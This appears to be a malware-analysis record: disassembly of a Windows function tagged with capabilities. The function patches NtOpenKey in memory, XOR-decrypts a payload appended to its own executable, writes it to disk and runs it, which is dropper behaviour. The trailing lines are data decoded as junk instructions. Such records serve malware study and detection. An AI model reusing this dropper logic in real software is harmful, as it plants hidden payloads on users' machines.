Function at 0x401000
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Delete file
Encode data using xor
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x9c8
mov dword [esp + 0xbc], 6
mov eax, dword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, dword [eax]
mov dword [esp + 0xc0], ebx
lea ebp, [esp + 0xb8]
push ebp
push 0x40
lea edi, [esp + 0xc4]
push edi
lea esi, [esp + 0xcc]
push esi
push 0xffffffffffffffff
call sub.ntdll.dll_NtProtectVirtualMemory
mov dword [ebx], 0xc248c033
mov word [ebx + 4], 0xc
push ebp
push dword [esp + 0xbc]
push edi
push esi
push 0xffffffffffffffff
call sub.ntdll.dll_NtProtectVirtualMemory
sub esp, 8
push dword [esp + 0xc4]
push dword [esp + 0xcc]
push 0xffffffffffffffff
call sub.ntdll.dll_NtFlushInstructionCache
lea ebx, [esp + 0x1d0]
mov edx, 0
add esp, 0x14
mov al, byte [edx + 0x401340]
xor eax, 0x37
mov byte [ebx], al
inc ebx
inc edx
cmp edx, 0x26
jne 0x401088
mov byte [ebx], 0
sub esp, 4
lea eax, [esp + 0x1c0]
push eax
push 1
push 0
call 0x401380
mov byte [ebx], 0x29
add esp, 4
call sub.KERNEL32.dll_GetCommandLineW
mov esi, eax
cmp word [eax], 0x22
jne 0x4010d5
add esi, 2
mov ax, word [esi]
test ax, ax
je 0x4010e6
cmp ax, 0x22
jne 0x4010c4
mov ax, word [esi]
test ax, ax
je 0x4010e6
add esi, 2
cmp ax, 0x20
jne 0x4010d5
sub esp, 0xc
lea ebx, [esp + 0x30]
push ebx
call sub.KERNEL32.dll_GetStartupInfoW
sub esp, 0xc
lea eax, [esp + 0x2c]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call sub.KERNEL32.dll_CreateProcessW
mov dword [esp], 0x104
lea ebx, [esp + 0xd0]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 0x14
test eax, eax
je 0x40131c
cmp eax, 0xffffffff
je 0x40131c
push 2
push 0
push 0xffffff65
push eax
call 0x4013b0
sub esp, 0xc
push 0
lea eax, [esp + 0xc0]
push eax
push 0x9b
lea eax, [esp + 0x1d4]
push eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x1ca]
add esp, 0xc
lea ecx, [esp + 0x257]
mov al, byte [esp + 0x1bc]
xor byte [edx - 1], al
inc edx
cmp edx, ecx
jne 0x401197
sub esp, 0xc
lea ebx, [esp + 0x74]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 0xc
lea eax, [esp + 0x2c]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1fd]
push eax
call sub.KERNEL32.dll_CreateProcessA
add esp, 0x18
test eax, eax
jne 0x40131c
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0xd4]
push eax
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
add esp, 4
test eax, eax
je 0x40131c
cmp eax, 0xffffffff
je 0x40131c
lea ebp, [esp + 0x1bd]
push 2
push 0
mov eax, 0xffffff65
sub eax, dword [esp + 0x1c5]
push eax
push esi
call 0x4013b0
mov ebx, dword [esp + 0x1bd]
call 0x4013d8
sub esp, 4
push ebx
push 0
push eax
call 0x4013e0
mov edi, eax
sub esp, 8
push 0
lea eax, [esp + 0xc0]
push eax
push ebx
push edi
push esi
call sub.KERNEL32.dll_ReadFile
push esi
call sub.KERNEL32.dll_CloseHandle
mov ecx, edi
mov eax, edi
add eax, dword [esp + 0x1c9]
add esp, 0xc
cmp edi, eax
jae 0x401291
mov edx, edi
mov al, byte [esp + 0x1bc]
xor byte [edx], al
inc edx
mov eax, ecx
add eax, dword [ebp]
cmp eax, edx
ja 0x40127e
sub esp, 8
push pe_nt_image_headers32
lea esi, [esp + 0x1cd]
push esi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 4
push esi
call sub.KERNEL32.dll_DeleteFileA
sub esp, 8
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 0x14
test eax, eax
je 0x40131c
cmp eax, 0xffffffff
je 0x40131c
sub esp, 0xc
push 0
lea eax, [esp + 0xc0]
push eax
push dword [ebp]
push edi
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 0xc
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.KERNEL32.dll_CreateProcessA
add esp, 0x18
sub esp, 0xc
push 0
call sub.KERNEL32.dll_ExitProcess
jmp 0x401340
dec esp
push cs
add byte [edi], al
add al, 0xe
add eax, dword [esi]
jb 0x401364
add eax, dword [ebx]
add dword [edx + 0x1a], esi
push cs
add al, byte [0x20e1a71]
add esi, dword [esi + 0x1a]
add al, 0x73
jbe 0x40136c
jbe 0x40136d
push es
jb 0x4013d5
lsl esi, word [ecx + 0x4a]
jno 0x4013b0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp dword [sym.imp.KERNEL32.dll_SetFilePointer]
add byte [eax - 0x3bda0070], dl
and byte [eax], al
nop
nop
jmp dword [sym.imp.KERNEL32.dll_HeapAlloc]